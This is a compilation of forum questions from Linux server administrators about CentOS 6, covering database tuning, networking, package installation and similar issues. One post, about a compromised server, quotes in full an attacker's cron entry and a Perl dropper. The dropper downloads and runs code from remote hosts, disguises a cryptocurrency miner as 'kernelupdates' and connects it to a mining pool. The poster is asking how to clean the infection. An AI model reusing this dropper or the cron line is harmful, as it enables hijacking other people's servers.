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• my.cnf for big wordpress installation

  - by adnan

  My website using wordpress with more than 150K posts & using auto posts publish feature with more than 2K daily posts I need to configure my.cnf settings to speed up my website actually the website speed is good but i have a problem with facebook sharing when I trying to share some link in facebook the link appears as this image http://elnhrda.com/facelink.jpg So I need to speed up my website by configure my.cnf I have VPS 4G.B RAM 300 HDD CENTOS6 x86_64 processor Intel Dual Xeon L5420 (8 x 2.5 GHz) this is my current my.cnf [mysqld] query_cache_size=512M skip-name-resolve innodb_file_per_table=1 query_cache_limit=32M any suggestions may be help

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• L2TP server on OpenVZ

  - by MikO

  I need to create a L2TP VPN server on a VPS in a OpenVZ container (I can install CentOS5, CentOS6, Ubuntu12.04 or Debian6). I have been reading and I think IPSEC does not work on OpenVZ, is this right? In fact I´m getting an error saying that it's not allowed in the kernel... But an important thing is that I don't have any security requirement at all for the transmissions I'll be doing. So, is there something I can do? Is there any way to set up a L2TP server without IPSEC?

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• Installation requirements of django installing in hostgator dedicated server

  - by jaypabs

  First, before I install OSQA on my dedicated server at hostgator, I want to know the requirements. I don't want to screw up my server so it's better to ask question first. I have read a lot of tutorial on the internet regarding Django but I want to clarify something before I proceed. On my dedicated server I don't use FCGI. Instead I use Mod SuPHP. A lot of tutorial is talking about installing python using FCGI. My question is if it is safe to install Python if I'm using SuPHP? Is it safe to use the tutorial on this link: http://wiki.osqa.net/display/docs/Installing+OSQA+on+CentOS6?focusedCommentId=4784144 Thanks in advance for your help.

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• Flexible virtualization infrastructure Design with libvirt

  - by Lessfoe

  I'm going to install a CentOS6 Server with Virtualization ( libvirtd ) capabilities on a DELL Server with Hardware RAID5 of around 6T of disk space ( It has 4x2T disks in a PERC700 RAID Controller ). I'm going then to install some guests which requires few resources except one that needs 500GB of disk space, 8/16GB of RAM and good performances. I was thinking about file images for guests storage but I'm not sure about the 500GB VM what needs good performances so that an LVM device could be better. So my question is what would be the best layout concerning: RAID setup ( RAID5, RAID1 + 1 disk for OS only. ) disk partitioning ( using the entire disk/ leave free space for future use and extending it with LVM ) guests storage management ( LVM devices or file images ( considering the 500GB VM that is performance demanding ) or mixed ) Where to put guests storage? /var/lib/libvirt/images or maybe in a custom dir separated from system /home/VMs Thanks in advance for any hint.

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• CentOS 7: PHP high CPU usage

  - by HTF

  I've migrated Observium monitoring platform from CentOS 6.5 to CentOS 7 and I've noticed high CPU usage mostly caused by PHP, the CPU load increase when pooling script is running (poller-wrapper.py). Both VMs are running on the same physical host (KVM hypervisor) with exactly the same spec. I also tested this with a simple PHP benchmark script and CentOS 7 is slower - is it strictly related to PHP version (5.4.30 vs 5.4.16)? CentOS 6.5 [root@centos6:~]# php -f bench.php -------------------------------------- | PHP BENCHMARK SCRIPT | -------------------------------------- Start : 2014-08-19 22:26:34 PHP version : 5.4.30 Platform : Linux -------------------------------------- test_math : 1.610 sec. test_stringmanipulation : 1.416 sec. test_loops : 0.822 sec. test_ifelse : 0.729 sec. -------------------------------------- Total time: : 4.577 sec. CentOS 7 [root@centos7:~]# php -f bench.php -------------------------------------- | PHP BENCHMARK SCRIPT | -------------------------------------- Start : 2014-08-19 22:27:58 PHP version : 5.4.16 Platform : Linux -------------------------------------- test_math : 2.117 sec. test_stringmanipulation : 1.246 sec. test_loops : 1.174 sec. test_ifelse : 0.752 sec. -------------------------------------- Total time: : 5.289 sec. CPU usage increased right after migration:

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• Configuring Redhat / CentOS 5 SSH to authenticate to IPA server with public keys

  - by Kyle Flavin

  I'm trying to configure some Red Hat/CentOS servers to use an ipa-server on CentOS 6 for SSH authentication with public keys. I'm storing the public keys on the IPA server, which works great on Centos6 using "AuthorizedKeysCommand /usr/bin/sss_ssh_authorizedkeys" in /etc/ssh/sshd_config. However, on RH 5.10, neither the "AuthorizedKeysCommand" directive or the "/usr/bin/sss_ssh_authorizedkeys" command exist to pull the public key from the directory. Is there a different way to make this work? Googling this mostly returns instructions for setting it up on 6.

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• Error on error log

  - by Ryan Murphy

  I am trying to use zend framework 2, i follow these instructions on centos6 via ssh. http://framework.zend.com/manual/2.0/en/user-guide/skeleton-application.html and when trying to start my website up, it gives an error, i go to the error log and i get this. [Sun Jun 30 16:02:17 2013] [error] [client 109.217.190.75] SoftException in Application.cpp:357: UID of script "/home/mydomain/public_html/public/index.php" is smaller than min_uid [Sun Jun 30 16:02:17 2013] [error] [client 109.217.190.75] Premature end of script headers: index.php What do they mean, how I fix them?

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• Why is my ethernet interface in promiscuous mode

  - by nhed

  I read that seeing a flag of M in netstat -i is the way to tell which of your interfaces is in promiscuous mode I run it and I see that eth1 is in promiscuous mode $ netstat -i Kernel Interface table Iface MTU Met RX-OK RX-ERR RX-DRP RX-OVR TX-OK TX-ERR TX-DRP TX-OVR Flg eth1 1500 0 1770161198 0 0 0 57446481 0 0 0 BMRU lo 16436 0 97501566 0 0 0 97501566 0 0 0 LRU This seems to be the case on all the machines I checked (All Centos6.0, both virtual and physical), any idea why ethernet devices would be in such a mode unless someone was running any pcap based app (sudo lsof | grep pcap shows nothing)? I did not see any mention of promiscuous in any of the config files (sudo grep -r promis /etc) Any ideas what puts the interface into that mode and why? p.s. most of the posts I see seem to be security related, this is not that

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• Best network tuning variables for a Linux proxy

  - by smarthall

  What are the best settings to tune so that Linux can handle a very large amount of TCP connections such as would be seen by a proxy server or a webserver? I'm using Centos6 and squid and am seeing a large amount of TIME_WAIT connections backing up until finally the machine stops responding. The machine isn't loaded at the time, and is having trouble making ingoing and outgoing connections. I've had several suggestions of tuning /proc/sys/net/ipv4/tcp_tw_reuse and /proc/sys/net/ipv4/tcp_tw_reuse but they mention bad interactions with load balancers and NAT both of which are used in my situation.

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• Running OpenVZ virtual servers within a Xen XCP vritual server? Bad practice?

  - by Damainman

  I have a 1 server with 8GB RAM and 2xQuadcore Processors. It currently has the Xen XCP installed on it, and centos6.2 x64 running on a virtual machine. I have a server control panel software that I want to use and it allows the administration via a web interface for Openvz machines. My questions are: Would this be considered bad practice? Would there be a big performance hit? Should I avoid this all together or am I going about it all wrong? Thank you in advance.

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• memtest86+ crashing on server

  - by user148723

  we have a few DELL 1950 servers. 1 of this servers has CentOS6.3 and its randomly rebooting so I suspected it was hardware. (no log generated) the other 4 servers do not randomly reboot. We passed memtest86+ on the 5 servers, and on 3 of them memtest86+ crashes (displaying an odd and colorful screen, like if a video card failed) Although I tested old memtest86 (not +), and all servers did not crash. I also tested other RAM testers utilities, no tool failing. have any of you guys experience this? thanks

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• Linux server failover

  - by Lukasz

  I have two Linux servers (CentOS6) - both are identically configured connected to the same switch with a direct link between them. I only have one external IP that is assigned to eth0 on both servers (connected to the internet switch) with the interface shutdown on server 2. How can I failover to server 2 if server 1 dies - as stated they are linked directly so they can check for availability of each other via ping/tcp/udp. I toyed with Heartbeat but the documentation seems to be non-existent - not sure how to bring up an interface and start some services if the other server dies.

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• PHP5.3 FastCGI doesn't use global config's values

  - by mega.venik

  There's a Centos6.3 system. Apache 2.2.15 + mod_fcgid + PHP 5.3.3 There's a problem with date.timezone value. It's mentioned in the global /etc/php.ini like this: date.timezone = "Europe/Moscow" And doesn't mentioned in user's local php.ini. As a result, I'm getting lot's of warnings like: Warning: date() [function.date]: It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected 'Europe/Helsinki' for 'EEST/3.0/DST' instead in ... Including the date.timezone parameter into the user's php.ini solves the problem, but I don't think, that it's the best solution. Maybe someone have faced this problem and can give an advice? Thanks! P.S. Creating /etc/php.d/timezone.ini with the timezone info aslo does nothing:(

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• How can a CentOS 6 guest running in VirtualBox be configured as a LAMP server that can be accessed from the Windows host?

  - by jtt89

  I was able to conect Centos6 on Virtual Box to Windows (I can ping in both directions) with Host-only Adapter (for connection between the two) and NAT Adapter (to enable Linux on VB to connect to the Internet). I want to set up httpd, mysql and vsftpd servers and in the end easily connect to httpd from Windows based browser and ftp server with a Windows based client as well. I would also want to have access through SSH. I have a general idea of the steps that are involved, but there is also a configuration that I am not sure about at this point. Lets say I follow these steps: yum install httpd yum install php php-pear php-mysql yum install mysql-server mysql_secure_installation yum install vsftpd yum install mod_ssl Technically I have everything installed, but what would be the next steps that I need to take (from the networking point of view, so to speak) to get it all working)? I know I need to configure, at least Apache, and ftp server, but I am not sure how is it gonna work; like where am I gonna be uloading the sites (I know this can vary), how am I gonna know what address to use in a browser if I wanna go to a website x, y, z on that installation etc. This sounds like I need to do some kind of DNS setup and I am kind of stuck at this point. If somebody could give me a general outline of what are the things that need to be done that would be great (I was looking at a lot of websites and I know about etc/sysconfig/network, httpd.config - not too much about it on Apache's site, hostname, hostname -f etc; but it is kind of hard to piece it all together at this point). I am gonna be looking at the books also, but they not always reflect the setup that I have too (VirtualBox). Thank you.

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• iconv supports too few encoding

  - by schemacs

  iconv -l outputs too few encodings on CentOS 6.5: $ iconv -l 10646-1:1993, 10646-1:1993/UCS4, ANSI_X3.4-1968, ANSI_X3.4-1986, ANSI_X3.4, ASCII, CP367, CSASCII, CSUCS4, IBM367, ISO-10646, ISO-10646/UCS2, ISO-10646/UCS4, ISO-10646/UTF-8, ISO-10646/UTF8, ISO-IR-6, ISO-IR-193, ISO646-US, ISO_646.IRV:1991, OSF00010020, OSF00010100, OSF00010101, OSF00010102, OSF00010104, OSF00010105, OSF00010106, OSF05010001, UCS-2, UCS-2BE, UCS-2LE, UCS-4, UCS-4BE, UCS-4LE, UCS2, UCS4, UNICODEBIG, UNICODELITTLE, US-ASCII, US, UTF-8, UTF8, WCHAR_T But on my Ubuntu the list seems much longer, here is different: CentOS6.5: $ php -a php > echo iconv('utf8', 'gbk', 'abc'); PHP Notice: iconv(): Wrong charset, conversion from `utf8' to `gbk' is not allowed in php shell code on line 1 php > quit $ php -i|grep iconv iconv iconv support => enabled iconv implementation => glibc iconv library version => 2.12 iconv.input_encoding => ISO-8859-1 => ISO-8859-1 iconv.internal_encoding => ISO-8859-1 => ISO-8859-1 iconv.output_encoding => ISO-8859-1 => ISO-8859-1 Ubuntu 14.04: $ php -a Interactive mode enabled php > echo iconv('utf8', 'gbk', "abc\n"); abc php > quit $ php -i|grep iconv iconv iconv support => enabled iconv implementation => glibc iconv library version => 2.19 iconv.input_encoding => ISO-8859-1 => ISO-8859-1 iconv.internal_encoding => ISO-8859-1 => ISO-8859-1 iconv.output_encoding => ISO-8859-1 => ISO-8859-1 But I don't want to recompile glibc(this will be huge mount of work), any idea on how to ad new encoding support?

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• CentOs 6.3 can't install Git

  - by drivard

  I am trying to install git on an OpenVZ container using the CentOs 6.3 precreated template. When I try the command line yum install git I get the message: Loaded plugins: fastestmirror Loading mirror speeds from cached hostfile * base: www.cubiculestudio.com * epel: mirror.csclub.uwaterloo.ca * extras: www.cubiculestudio.com * rpmforge: mirror.us.leaseweb.net * updates: www.cubiculestudio.com Setting up Install Process No package git available. Error: Nothing to do As I understand, the git package should be in the centos6 base repository: http://pkgs.org/centos-6-rhel-6/centos-rhel-x86_64/git-1.7.1-2.el6_0.1.x86_64.rpm.html But it doesn't find it, I even have the EPEL and RPMForge repo enabled, but still can't find the git package. yum repolist Loaded plugins: fastestmirror Loading mirror speeds from cached hostfile * base: www.cubiculestudio.com * epel: mirror.csclub.uwaterloo.ca * extras: www.cubiculestudio.com * rpmforge: mirror.us.leaseweb.net * updates: www.cubiculestudio.com repo id repo name status base CentOS-6 - Base 4,776 epel Extra Packages for Enterprise Linux 6 - i386 6,523 extras CentOS-6 - Extras 4 rpmforge RHEL 6 - RPMforge.net - dag 4,501 updates CentOS-6 - Updates 596 vz-base vz-base 3 vz-updates vz-updates 0 repolist: 16,403 The weirdest thing is that my OpenVZ server is running on CentOs 6.3 and I was able to install git without any issue. Can you help me understanding why it doesn't find the package? Thank you in advance.

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• PLESK PostFix Error Local in maillog, how to troubleshoot

  - by RCNeil

  I'm using the PHP mail() function, using PostFix, on CentOS6, Plesk 10.4, and my email is not getting delivered to a particular address. My personal GMail and Yahoo email addresses receive email from my server fine and do not produce errors. After a wonderful suggestion on here, I checked my mail logs, and this is the error I see : Apr 10 10:26:29 ######### postfix/qmgr[8323]: 19EA21827: from= <[email protected]>, size=645, nrcpt=1 (queue active) Apr 10 10:26:29 ######### postfix-local[8331]: postfix-local: [email protected], [email protected], dirname=/var/qmail/mailnames Apr 10 10:26:29 ######### postfix-local[8331]: cannot chdir to mailname dir name: No such file or directory Apr 10 10:26:29 ######### postfix-local[8331]: Unknown user: [email protected] Apr 10 10:26:29 ######### postfix/pipe[8330]: 19EA21827: to=<[email protected]>, relay=plesk_virtual, delay=0.15, delays=0.11/0/0/0.04, dsn=2.0.0, status=sent (delivered via plesk_virtual service) Apr 10 10:26:29 ######### postfix/qmgr[8323]: 19EA21827: removed [email protected] is the name I've declared in php.ini for sendmail_from = "[email protected]" sendmail_path = "/usr/sbin/sendmail -t -f [email protected]" and the recipient is supposed to be [email protected]. Is this an error on my side or the recipients? Can I address this on my server? Many thanks SF.

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• Partition is missing in /dev

  - by haimg

  I'm having a strange problem since I moved from Centos5 to Centos6. I have three disks, first two are used as a RAID1, and third one is a stand-alone backup disk that is not listed in /etc/fstab (it is mounded when needed and then unmounted). My problem: After a boot, /dev/sdc exists but /dev/sdc1 does not. Also, the links in /dev/disks are also absent for the first partition of sdc. Disk itself is fine, and if I hot-remove it and plug it back in, /dev/sdc1 appears ok and everything is working. My question: What subsystem manages auto-discovery of disks, partitions, etc. during the boot process (e.g. what creates /dev/disks/by-label)? How do I configure it to scan /dev/sdc too and create all relevant files and links in /dev ? Edit: Here's the relevant part of dmesg output (the only place sdc appears). It does list sdc1, but it's not in /dev! sd 1:0:0:0: [sdb] 1953525168 512-byte logical blocks: (1.00 TB/931 GiB) sd 3:0:0:0: [sdc] 976773168 512-byte logical blocks: (500 GB/465 GiB) sd 1:0:0:0: [sdb] Write Protect is off sd 1:0:0:0: [sdb] Mode Sense: 00 3a 00 00 sd 1:0:0:0: [sdb] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA sd 3:0:0:0: [sdc] Write Protect is off sd 3:0:0:0: [sdc] Mode Sense: 00 3a 00 00 sd 3:0:0:0: [sdc] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA sdb: sdc: sd 0:0:0:0: [sda] 1953525168 512-byte logical blocks: (1.00 TB/931 GiB) sd 0:0:0:0: [sda] Write Protect is off sd 0:0:0:0: [sda] Mode Sense: 00 3a 00 00 sd 0:0:0:0: [sda] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA sda: DMAR:[DMA Read] Request device [00:1e.0] fault addr 361bc000 DMAR:[fault reason 06] PTE Read access is not set sdb1 sdb2 sdb3 sdc1 sda1 sd 1:0:0:0: [sdb] Attached SCSI disk sd 3:0:0:0: [sdc] Attached SCSI disk sda2 sda3 sd 0:0:0:0: [sda] Attached SCSI disk

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• Why do Ping and Dig provide different IP address than nslookup?

  - by user1032531

  When pinging my domain name which points to my home public IP from two different servers on my LAN, it shows them pinging different IP. Further investigation shows dig and nslookup providing different results. See below. A little history. My IP used to be 11.22.33.444 and is hosted by Comcast. I changed routers, and it somehow got changed to 55.66.77.888. I've since updated my 1and1 domain name to point to the 55.66.77.888. desktop is a basic server, runs the web server, and connects wirelessly to my LAN. laptop is a GUI and connected via CAT5. Both operate Centos6.4. My old router was a D-Link, and used their "Virtual Server" feature to pass port 80 to desktop. My new router is a Linksys, and I use their "Port Forwarding" feature to pass port 80 to desktop (however, I haven't gotten this part working yet). What is going on??? Why the different IPs? Obviously, it most somehow be stored on the server, but why does the actual machine even know the public IP since it is on a LAN? How do I purge the old IP? [root@desktop etc]# dig +short myDomain.com 11.22.33.444 [root@desktop etc]# nslookup www.myDomain.com Server: 8.8.8.8 Address: 8.8.8.8#53 Non-authoritative answer: Name: www.myDomain.com Address: 55.66.77.888 [root@desktop etc]# dig myDomain.com ; <<>> DiG 9.8.2rc1-RedHat-9.8.2-0.17.rc1.el6_4.6 <<>> myDomain.com ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 13822 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;myDomain.com. IN A ;; ANSWER SECTION: myDomain.com. 16031 IN A 11.22.33.444 ;; Query time: 21 msec ;; SERVER: 8.8.8.8#53(8.8.8.8) ;; WHEN: Mon Oct 21 04:36:52 2013 ;; MSG SIZE rcvd: 44 [root@desktop etc]# [root@laptop ~]# dig +short myDomain.com 55.66.77.888 [root@laptop ~]# nslookup www.myDomain.com Server: 192.168.0.1 Address: 192.168.0.1#53 Non-authoritative answer: Name: www.myDomain.com Address: 55.66.77.888 [root@laptop ~]#

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• ./kernelupdates 100% cpu usage

  - by Vaibhav Panmand

  I have a CENTOS6 server running with some wordpress & tomcat websites. In the last two days it has been crashing continuously. After investigation we found that kernelupdates binary consuming 100% cpu on server. Process is mentioned below. ./kernelupdates -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.9 -p passxxx But this process seems invalid kernel update. Might be server is compromised and this process is installed by hacker, So I've killed this process & removed apache user's cron entries. But somehow this process started again after couple of hours & cron entries also restored, I am searching for the thing which is modifying cron jobs. Does this process belong to a mining process? How can we stop cronjob modification and clean the source of this process? Cron entry (apache user) /6 * * * * cd /tmp;wget http://updates.dyndn-web.com/.../abc.txt;curl -O http://updates.dyndn-web.com/.../abc.txt;perl abc.txt;rm -f abc* abc.txt #!/usr/bin/perl system("killall -9 minerd"); system("killall -9 PWNEDa"); system("killall -9 PWNEDb"); system("killall -9 PWNEDc"); system("killall -9 PWNEDd"); system("killall -9 PWNEDe"); system("killall -9 PWNEDg"); system("killall -9 PWNEDm"); system("killall -9 minerd64"); system("killall -9 minerd32"); system("killall -9 named"); $rn=1; $ar=`uname -m`; while($rn==1 || $rn==0) { $rn=int(rand(11)); } $exists=`ls /tmp/.ice-unix`; $cratch=`ps aux | grep -v grep | grep kernelupdates`; if($cratch=~/kernelupdates/gi) { die; } if($exists!~/minerd/gi && $exists!~/kernelupdates/gi) { $wig=`wget --version | grep GNU`; if(length($wig>6)) { if($ar=~/64/g) { system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;wget http://5.104.106.190/64.tar.gz;tar xzvf 64.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates"); } else { system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;wget http://5.104.106.190/32.tar.gz;tar xzvf 32.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates"); } } else { if($ar=~/64/g) { system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;curl -O http://5.104.106.190/64.tar.gz;tar xzvf 64.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates"); } else { system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;curl -O http://5.104.106.190/32.tar.gz;tar xzvf 32.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates"); } } } @prts=('8332','9091','1121','7332','6332','1332','9333','2961','8382','8332','9091','1121','7332','6332','1332','9333','2961','8382'); $prt=0; while(length($prt)<4) { $prt=$prts[int(rand(19))-1]; } print "setup for $rn:$prt done :-)\n"; system("cd /tmp/.ice-unix;./kernelupdates -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.".$rn." -p passxxx &"); print "done!\n"; Thanks in advance!

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• Stop duplicate icmp echo replies when bridging to a dummy interface?

  - by mbrownnyc

  I recently configured a bridge br0 with members as eth0 (real if) and dummy0 (dummy.ko if). When I ping this machine, I receive duplicate replies as: # ping SERVERA PING SERVERA.domain.local (192.168.100.115) 56(84) bytes of data. 64 bytes from SERVERA.domain.local (192.168.100.115): icmp_seq=1 ttl=62 time=113 ms 64 bytes from SERVERA.domain.local (192.168.100.115): icmp_seq=1 ttl=62 time=114 ms (DUP!) 64 bytes from SERVERA.domain.local (192.168.100.115): icmp_seq=2 ttl=62 time=113 ms 64 bytes from SERVERA.domain.local (192.168.100.115): icmp_seq=2 ttl=62 time=113 ms (DUP!) Using tcpdump on SERVERA, I was able to see icmp echo replies being sent from eth0 and br0 itself as follows (oddly two echo request packets arrive "from" my Windows box myhost): 23:19:05.324192 IP myhost.domain.local > SERVERA.domain.local: ICMP echo request, id 512, seq 43781, length 40 23:19:05.324212 IP SERVERA.domain.local > myhost.domain.local: ICMP echo reply, id 512, seq 43781, length 40 23:19:05.324217 IP myhost.domain.local > SERVERA.domain.local: ICMP echo request, id 512, seq 43781, length 40 23:19:05.324221 IP SERVERA.domain.local > myhost.domain.local: ICMP echo reply, id 512, seq 43781, length 40 23:19:05.324264 IP SERVERA.domain.local > myhost.domain.local: ICMP echo reply, id 512, seq 43781, length 40 23:19:05.324272 IP SERVERA.domain.local > myhost.domain.local: ICMP echo reply, id 512, seq 43781, length 40 It's worth noting, testing reveals that hosts on the same physical switch do not see DUP icmp echo responses (a host on the same VLAN on another switch does see a dup icmp echo response). I've read that this could be due to the ARP table of a switch, but I can't find any info directly related to bridges, just bonds. I have a feeling my problem lay in the stack on linux, not the switch, but am opened to any suggestions. The system is running centos6/el6 kernel 2.6.32-71.29.1.el6.i686. How do I stop ICMP echo replies from being sent in duplicate when dealing with a bridge interface/bridged interfaces? Thanks, Matt [edit] Quick note: It was recommended in #linux to: [08:53] == mbrownnyc [gateway/web/freenode/] has joined ##linux [08:57] <lkeijser> mbrownnyc: what happens if you set arp_ignore to 1 for the dummy interface? [08:59] <lkeijser> also set arp_announce to 2 for that interface [09:24] <mbrownnyc> lkeijser: I set arp_annouce to 2, arp_ignore to 2 in /etc/sysctl.conf and rebooted the machine... verifying that the bits are set after boot... the problem is still present I did this and came up empty. Same dup problem. I will be moving away from including the dummy interface in the bridge as: [09:31] == mbrownnyc [gateway/web/freenode/] has joined #Netfilter [09:31] <mbrownnyc> Hello all... I'm wondering, is it correct that even with an interface in PROMISC that the kernel will drop /some/ packets before they reach applications? [09:31] <whaffle> What would you make think so? [09:32] <mbrownnyc> I ask because I am receiving ICMP echo replies after configuring a bridge with a dummy interface in order for ipt_netflow to see all packets, only as reported in it's documentation: http://ipt-netflow.git.sourceforge.net/git/gitweb.cgi?p=ipt-netflow/ipt-netflow;a=blob;f=README.promisc [09:32] <mbrownnyc> but I do not know if PROMISC will do the same job [09:33] <mbrownnyc> I was referred here from #linux. any assistance is appreciated [09:33] <whaffle> The following conditions need to be met: PROMISC is enabled (bridges and applications like tcpdump will do this automatically, otherwise they won't function). [09:34] <whaffle> If an interface is part of a bridge, then all packets that enter the bridge should already be visible in the raw table. [09:35] <mbrownnyc> thanks whaffle PROMISC must be set manually for ipt_netflow to function, but [09:36] <whaffle> promisc does not need to be set manually, because the bridge will do it for you. [09:36] <whaffle> When you do not have a bridge, you can easily create one, thereby rendering any kernel patches moot. [09:36] <mbrownnyc> whaffle: I speak without the bridge [09:36] <whaffle> It is perfectly valid to have a "half-bridge" with only a single interface in it. [09:36] <mbrownnyc> whaffle: I am unfamiliar with the raw table, does this mean that PROMISC allows the raw table to be populated with packets the same as if the interface was part of a bridge? [09:37] <whaffle> Promisc mode will cause packets with {a dst MAC address that does not equal the interface's MAC address} to be delivered from the NIC into the kernel nevertheless. [09:37] <mbrownnyc> whaffle: I suppose I mean to clearly ask: what benefit would creating a bridge have over setting an interface PROMISC? [09:38] <mbrownnyc> whaffle: from your last answer I feel that the answer to my question is "none," is this correct? [09:39] <whaffle> Furthermore, the linux kernel itself has a check for {packets with a non-local MAC address}, so that packets that will not enter a bridge will be discarded as well, even in the face of PROMISC. [09:46] <mbrownnyc> whaffle: so, this last bit of information is quite clearly why I would need and want a bridge in my situation [09:46] <mbrownnyc> okay, the ICMP echo reply duplicate issue is likely out of the realm of this channel, but I sincerely appreciate the info on the kernels inner-workings [09:52] <whaffle> mbrownnyc: either the kernel patch, or a bridge with an interface. Since the latter is quicker, yes [09:54] <mbrownnyc> thanks whaffle [edit2] After removing the bridge, and removing the dummy kernel module, I only had a single interface chilling out, lonely. I still received duplicate icmp echo replies... in fact I received a random amount: http://pastebin.com/2LNs0GM8 The same thing doesn't happen on a few other hosts on the same switch, so it has to do with the linux box itself. I'll likely end up rebuilding it next week. Then... you know... this same thing will occur again. [edit3] Guess what? I rebuilt the box, and I'm still receiving duplicate ICMP echo replies. Must be the network infrastructure, although the ARP tables do not contain multiple entries. [edit4] How ridiculous. The machine was a network probe, so I was (ingress and egress) mirroring an uplink port to a node that was the NIC. So, the flow (must have) gone like this: ICMP echo request comes in through the mirrored uplink port. (the real) ICMP echo request is received by the NIC (the mirrored) ICMP echo request is received by the NIC ICMP echo reply is sent for both. I'm ashamed of myself, but now I know. It was suggested on #networking to either isolate the mirrored traffic to an interface that does not have IP enabled, or tag the mirrored packets with dot1q.

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